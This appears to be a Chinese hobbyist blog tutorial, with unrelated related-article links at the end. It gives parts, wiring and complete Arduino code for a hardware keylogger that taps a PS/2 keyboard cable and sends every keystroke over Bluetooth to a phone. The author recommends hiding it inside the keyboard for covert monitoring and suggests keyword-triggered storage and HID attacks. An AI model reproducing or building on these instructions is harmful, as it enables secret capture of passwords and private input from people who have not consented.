50元制作PS2键盘无线监控装置

简介: 0×00    什么是Arduino  Arduino实际上就是一种开发板,将微控制器和必需的元件集成在一块电路板上,扩展出完善的接口和针脚,就可以接上各种各样的传感器,完成你心中的设计,你也可以把它理解成一种电子积木,因为它不需要焊接,也不需要高深的无线电知识,只需要编程基础和基本的电路知识即可。

0×00    什么是Arduino 

Arduino实际上就是一种开发板,将微控制器和必需的元件集成在一块电路板上,扩展出完善的接口和针脚,就可以接上各种各样的传感器,完成你心中的设计,你也可以把它理解成一种电子积木,因为它不需要焊接,也不需要高深的无线电知识,只需要编程基础和基本的电路知识即可。 

Arduino 不需要知道各种硬件的底层知识,这些底层的调用都已经提前帮你实现好了,而且它使用的是c语言而不是汇编,配有一个官方的IDE和各种硬件的调用库,你只需要按照你自己的设计插接好各种硬件,就可以开始编写程序了,编写完之后烧写入微控制器(在arduino中这称为下载),它们会自动开始运行。其本身是一种开源硬件,电路图是公开的,现在官方的和扩展出的各种arduino板子加起来已经有上百种。

Aduino的官方网站:http://www.arduino.cc,要进行下面的内容,请在此下载arduino的官方IDE并安装,在IDE安装目录的drivers子目录中,有烧写arduino所需要的usb转串口驱动,必须要先安装驱动才能开始编程.

0×01    模块

1.arduino nano/micro/mini一个    30元左右
2.蓝牙模块一个    20元左右
3.若干导线    一坨3元左右

用山寨的nano(实战的话得把排针拔掉,焊上导线)也可,价格10元左右。mini也不错,价格也是10元左右,但是需要一个usb ttl来烧写程序。micro山寨的30元左右,这个比nano小点,跟mini差不多,这个板子可以模拟键盘和鼠标实现HID攻击,相当于teensy。指甲大小的lilypad兴许可以,我这里没有这个板子,不太清楚这个板子的情况。

而实战时,把arduino的排针拔掉,直接把这两个模块焊起来,大小就跟下面的差不多了,由于导线会比下面的略大一点。

0×02 思路

最初的思路是,利用micro板子接收ps2键盘然后在再有micro模拟成键盘转发出去。但是因为由于不能完全解码ps2键盘的按键信息,所以我就换了个思路。直接用板子并联在连接线上面,这样键盘发出按键信息后会沿着线路到达两个地方,一个是计算机,一个就是我们的记录器了。

0×03 原理

ps2口一共有6个针脚: clock时钟、GND接地、DATA数据和5V的供电,剩余的两个是没有使用的保留口,排列顺序如下图所示:

其中clock和data用于截获按键信息,剩余两个用于给键盘和装置供电。

接线图:

 

看起来连线有些眼花缭乱,事实上很简单的几下。键盘正常连接计算机不变,只需要在键盘连接计算机的线路中的这四根线引出导线连接在板子上即可。

蓝牙模块也同样需要连四根线

0×04    连接硬件

上图是装置的全部分,实战时把线路焊接起来而不用杜邦线和排针就可以压缩到u盘大小,而且供电直接取自键盘。可以把此装置塞到键盘当中实现隐秘监控,由于使用的不是转发的方法,即使电路故障(只要焊接好,可能性很低)也不会影响键盘的正常使用。焊好后大小就如同文章开头提到的。

0×05    烧写程序

首先需要下载一个库文件,解压放到arduino ide安装目录中的librarys文件夹中。然后使用arduino ide 给板子烧写程序,在工具菜单栏中选好板子的型号,在选号对应串口号。烧写以下程序

#include <PS2Keyboard.h>

const int DataPin = 3;
const int IRQpin =  2;

PS2Keyboard keyboard;

void setup() {
  delay(300);
  keyboard.begin(DataPin, IRQpin);
  Serial.begin(9600);
  Serial.println("Keyboard Test:");
}

void loop() {
  if (keyboard.available()) {
    
    // read the next key
    char c = keyboard.read();
    
    // check for some of the special keys
    if (c == PS2_ENTER) {
      Serial.println();
    } else if (c == PS2_TAB) {
      Serial.print("[Tab]");
    } else if (c == PS2_ESC) {
      Serial.print("[ESC]");
    } else if (c == PS2_PAGEDOWN) {
      Serial.print("[PgDn]");
    } else if (c == PS2_PAGEUP) {
      Serial.print("[PgUp]");
    } else if (c == PS2_LEFTARROW) {
      Serial.print("[Left]");
    } else if (c == PS2_RIGHTARROW) {
      Serial.print("[Right]");
    } else if (c == PS2_UPARROW) {
      Serial.print("[Up]");
    } else if (c == PS2_DOWNARROW) {
      Serial.print("[Down]");
    } else if (c == PS2_DELETE) {
      Serial.print("[Del]");
    } else {
      Serial.print(c);
    }
  }
}

手机上面使用Bluetooth spp连接蓝牙串口,就可以看到键盘的实时按键信息了。

我使用的是笔记本,没有ps2口,所以我用另一arduino板子当作计算机。所以你会看见视频里一坨东西,但装置只有两个小板子,其余都是为了模拟计算机。

视频中可以看到当按键后,手机的蓝牙端实时接收到按键数据,而同时计算机也收到了按键信息。可以看出这个装置是不影响键盘和计算机的通讯,只是听一听它们在聊什么。

0×06    其他问题

有些地方还需要完善:

1.功能键部分无法识别(但不影响键盘使用)
2.按键信息还可以通过更便宜、更小、传输距离更远的nrf24l01+,代码有点复杂(为我还没有研究明白)
3.arduino自身提供了EEPROM存储器,但是容量仅仅只有1k,所以没有往上面存储按键信息,如果加入关键字触发,才写入存储,兴许有点用。也可以用micro sd卡模块,将按键信息存储在存储卡中,等到有人连接装置后通过无线发送出去。我没买这个模块,所以这块没有做。

另外还可以做得更小更廉价!欢迎指教!

相关文章
机房构建---服务器必须搭配显示器,接口使用VGA的线,必备基础设施之显示器
机房构建---服务器必须搭配显示器,接口使用VGA的线,必备基础设施之显示器
|
6月前
|
Linux 智能硬件
Linux MQTT智能家居(温度,湿度,环境监测,摄像头等界面布局设置)
Linux MQTT智能家居(温度,湿度,环境监测,摄像头等界面布局设置)
161 0
|
数据采集 数据安全/隐私保护 Android开发
Android平台如何实时叠加电量信息和设备信号状态到GB28181接入端
Android平台如何实时叠加电量信息和设备信号状态到GB28181接入端
|
传感器
多功能手持读数仪 VH501TC常见问题与注意事项
常见问题 1.不能开机检查电池是否有电,检查电池安装极性是否正确。 2.不显示振弦传感器测量值检查传感器连线是否正确,详见“传感器接口定义” ;尝试不同的振弦激励方法,详见“振弦传感器激方法修改” 。
多功能手持读数仪 VH501TC常见问题与注意事项
|
存储 编解码 关系型数据库
案例分享:Qt工程机械真空激光焊接系统软件产品定制(西门子PLC,mysql数据库,用户权限控制,界面配置,参数定制,播放器,二维图标,rgv小车,期限控制,参数调试等)
基于Qt的真空焊接系统工程机械案例分享。1.ui由本司美工承担设计,显示分辨率1280 x 1024,同时支持鼠标操作。2.权限控制:三种权限,分为管理员(可以定制模块界面,修改产品名称等定制化软件和其他权限,同时具备编程员和操作员权限),编程员(新建工件,参数,调试功能等与生产相关的权限,同时具备操作员权限),操作员(加工相关的操作权限),三个等级对所有界面进行区分使用,并可进行管理;3.专家可增删改编程员,操作员;编程员可增删改操作员;4.与西门子PLC通讯,兼容S7全系,项目使用S7-1500...
案例分享:Qt工程机械真空激光焊接系统软件产品定制(西门子PLC,mysql数据库,用户权限控制,界面配置,参数定制,播放器,二维图标,rgv小车,期限控制,参数调试等)
|
存储 传感器 Android开发
MLX90640 红外热成像仪测温传感器 手机 APP 软件 RedEye 连接操作详细
鉴于手机运算速度较慢,与手机连接时请务必将成像仪的刷新速率设置为 4Hz 或以下,否则可能出现较为更重的显示卡顿甚至无法正常显示实时画面。
MLX90640 红外热成像仪测温传感器  手机 APP 软件 RedEye 连接操作详细
|
JSON 数据格式 计算机视觉
案例分享:Qt的80路显示超大屏幕拼接(十台服务器,每台八路摄像头)方案和Demo
案例分享:Qt的80路显示超大屏幕拼接(十台服务器,每台八路摄像头)方案和Demo
|
存储 Ubuntu Shell
3D打印树莓派4B外壳—内置UPS和统计显示信息
3D打印树莓派4B外壳—内置UPS和统计显示信息
594 0
3D打印树莓派4B外壳—内置UPS和统计显示信息
|
监控 安全 网络架构
解放你的插线板 - Anker 6 USB 口桌面充电器评测
随着科技的发展,越来越多的数码产品在侵蚀着我们的生活,各种手机、平板、kindle、移动电源等。这样一来,当所有设备在同一时间充电的时候,你的插线板插口有可能不够用,而且有这么多插头还会让你的桌面变得更加凌乱,同时在给设备适配充电器的时候也将会耗费你一定的时间,当我们去旅游时携带这么多充电器,也会使我们更累人......这一切,只要有了 ANKER 60W 6 USB 口桌面充电器后,所以问题都被解决。
261 0
解放你的插线板 - Anker 6 USB 口桌面充电器评测
|
编解码 开发工具 开发者
启明云端分享:3.5寸的彩屏(串口屏)方案与料理机的完美组合
随着智能家居的兴起,人们对于家电的期望与需求不断提高,智能料理机在生活中使用率持续增长,成为了厨房里必不可少的智能家电。 下图是某品牌的主厨料理机,应用了启明云端3.5寸的彩屏方案。 内置WIFI网络和食谱平台,触摸搜索即可查看千万菜谱。静音无油烟,还可以一机多用。
244 0
启明云端分享:3.5寸的彩屏(串口屏)方案与料理机的完美组合
下一篇
无影云桌面